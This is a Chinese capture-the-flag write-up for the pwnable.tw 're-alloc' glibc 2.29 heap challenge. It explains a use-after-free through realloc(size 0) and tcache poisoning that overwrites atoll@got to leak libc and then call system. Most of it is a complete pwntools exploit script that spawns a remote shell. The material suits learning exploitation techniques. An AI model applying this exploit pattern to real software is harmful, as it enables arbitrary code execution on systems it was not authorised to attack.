给了一个libc,可以用strings libc.so | grep "GNU"查看版本:
$ strings libc.so| grep "GNU"
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
Compiled by GNU CC version 8.3.0.
2.29的堆题,注意有tcache。
分析题目,没有开PIE,FORTIFY好像在这里没什么影响。题是菜单选择题,allocate,free,reallocate。给定了bss段上面的两个位置可以存chunk,输入size和index时,使用的是atoll返回。
free过后清零, 但是realloc函数在size为0时同样执行free操作,而reallocate函数中并没有检查size的下界,
tcache在libc2.29新增了一个key,防止double free。(libc2.29具体新增的保护机制措施见:libc2.29)
因此只有一个UAF。输入的时候还有一个off-by-null,这里没用。
具体的利用思路是通过UAF把tcache的某个next改为atoll@got,然后分配到这个位置修改got表为printf,打印libc地址,然后再修改为system的地址即可。
有几个值得注意的点:
- 在从
tcache中取堆块的时候,会检查对应链表的计数,所以要保证在分配到atoll@got时,该条链表中有足够的count。 - 保证正在使用的
chunk是和top chunk相邻的,这样才能成功地在原地址上进行拓宽,放到和next为atoll@got所在的链表不同的tcache链表上去。 - 第二次更改
atoll@got的时候,不能直接使用reallocate函数,因为此时的所谓chunk上已经没有了正常的size信息,所以会有一个invalid pointer的错误(原因是我猜的嘿嘿),因此需要将两个tcache的链表的next都更改为atoll@got,以便allocate第二次利用。 - 好神奇,不同的
tcache链表之间不会检查double free,就是说chunk A可以同时放到链表1和链表2上。这样就可以成功清空bss上存chunk的地方,而不同担心double free。
具体看exp注释:
from pwn import *
from time import sleep
import os
import sys
elfPath = './re-alloc'
libcPath = './libc.so'
remoteAddr = 'chall.pwnable.tw'
remotePort = '10106'
context.log_level = 'debug'
context.binary = elfPath
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary
if sys.argv[1] == 'l':
sh = process(elfPath)
libc = elf.libc
else:
if sys.argv[1] == 'd':
sh = process(elfPath, env = {'LD_PRELOAD': libcPath})
else:
sh = remote(remoteAddr,remotePort)
# context.log_level = 'info'
if libcPath:
libc = ELF(libcPath)
def allocate(idx,sz, data):
sh.sendlineafter("choice:","1")
sh.sendlineafter("Index:",str(idx))
sh.sendlineafter("Size:",str(sz))
sh.sendlineafter("Data:",data)
def rfree(idx):
sh.sendlineafter("choice:","3")
sh.sendlineafter("Index:",str(idx))
def realloc(idx,sz,data):
sh.sendlineafter("choice:","2")
if idx != 0 and idx != 1:
sh.sendlineafter("Index:",idx)
return
sh.sendlineafter("Index:",str(idx))
sh.sendlineafter("Size:",str(sz))
if sz != 0:
sh.sendlineafter("Data:",data)
if __name__ == '__main__':
atoi_got = elf.got['atoll']
printf_plt = elf.plt['printf']
allocate(0,0x20,"AAAA")
rfree(0)
allocate(0,0x10,"AAAA") # chunk 0
allocate(1,0x10,'BBBB') # chunk 1 (next to top chunk)
rfree(0) # now chunk 0 in tcache (this use to pass tcache count check)
realloc(1,0,"") #free chunk 1
realloc(1,0x10,p64(atoi_got)) # uaf chunk 1
allocate(0,0x10,"AAAA") # malloc chunk 1
realloc(0,0x20,"AAAA") # extend chunk 1
rfree(0) # now chunk 1 in tcache_0x30's list
realloc(1,0x20,p64(atoi_got)) # again uaf
allocate(0,0x20,"AAAA")# when we allocate 0x20, we will change the atoll@got too.
realloc(0,0x30,"AAAA")
rfree(0)
realloc(1,0x40,"AAAA")# if we extend again , will not trigger the double free check
rfree(1)
allocate(0,0x10,p64(printf_plt)) # now heap[0] point to atoll@got and change the got to printf@plt
payload="%15$llx" # copy from internet... ... = =
realloc(payload,0,0)
stdout_addr = u64(sh.recv(8)[2:8].ljust(8,b'\x00'))
libc_base = stdout_addr - libc.sym["_IO_2_1_stdout_"]
sys_addr = libc_base + libc.sym["system"]
success("sys:" + hex(sys_addr))
sh.sendline("1")
sh.sendafter("Index:","1")
sh.sendafter("Size:","%32c")# get from tcache_0x30's list
sh.sendlineafter("Data:",p64(sys_addr))
payload="/bin/sh\x00"
realloc(payload,0,0)
sh.interactive()
sh.close()
本文详述了一种针对GNU libc 2.29版本的内存安全漏洞利用方法,涉及tcache、UAF和off-by-null攻击。通过巧妙地操纵tcache链表实现内存控制,最终实现了代码执行。关键点包括利用UAF改变tcache结构,规避doublefree检查和多次内存分配操作。

280

被折叠的 条评论
为什么被折叠?



